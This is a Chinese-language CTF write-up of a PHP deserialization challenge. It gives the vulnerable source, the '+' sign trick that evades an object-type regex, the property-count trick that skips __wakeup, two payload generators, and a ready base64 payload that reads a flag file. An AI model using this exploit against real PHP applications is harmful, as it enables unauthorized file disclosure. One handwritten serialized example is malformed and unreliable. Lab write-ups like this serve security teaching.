wakeup()反序列化2

函数wakeup()漏洞,函数destruct绕,’/[oc]:\d+:/i’正则过滤。

代码审计

进入靶场,审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
class Demo //定义Demo类
{
private $file = 'index.php'; //初始化私有变量file值
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
} //如果Demo类被销毁,高亮显示file指向的内容
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!'); //匹配object类,成功时结束
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

函数__wakeup()

函数wakeup()触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得wakeup失效。(web1中有详细讲解)

构造函数construct()、析构函数__destruct()

对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的
析构函数析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

‘/[oc]:\d+:/i’绕过

正则匹配’/[oc]:\d+:/i’用来过滤object类型
将类Demo反序列化:

1
"O:4:"Demo":1:{s:11:"index.php";s:8:"fl4g.php“;}"

通过 O:14 -> O:+14 完成正则匹配绕过
通过调整对象属性个数数值,绕过__wakeup()

1
"O:+4:"Demo":2:{s:11:"index.php";s:8:"fl4g.php“;}"

构造palyload

Playload 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Demo{ //定义一个名为Demo的类
private $file = 'index.php'; //定义一个公有的类属性$file,值为index.php
public function __construct($file){
$this->file = $file;
}
function __destruct(){
echo @highlight_file($this->file,true);
}
function __wakeup(){ //定义一个公有的类方法__wakeup()
if ($this->file !='index.php') {
$this->file = 'index.php';
}
}
}

$test = new Demo('fl4g.php'); //使用new运算符来实例化该类(xctf)的对象为test
$test = serialize($test);
$test = str_replace('O:4', 'O:+4', $test);
$test = str_replace(':1:', ':2:', $test);
echo base64_encode($test); //输出base64编码后的对象(test
?>

Palyload 2

1
2
3
4
5
6
7
8
9
10
<?php 
class Demo {
private $file = 'fl4g.php';
}

$x= serialize(new Demo);
$x= str_replace('O:4', 'O:+4',$x); //绕过preg_match()
$x= str_replace(':1:', ':3:',$x); //绕过__wakeup()
echo base64_encode($x);
?>

输出结果为
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
访问
/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
访问到fl4g.php的内容,得到flag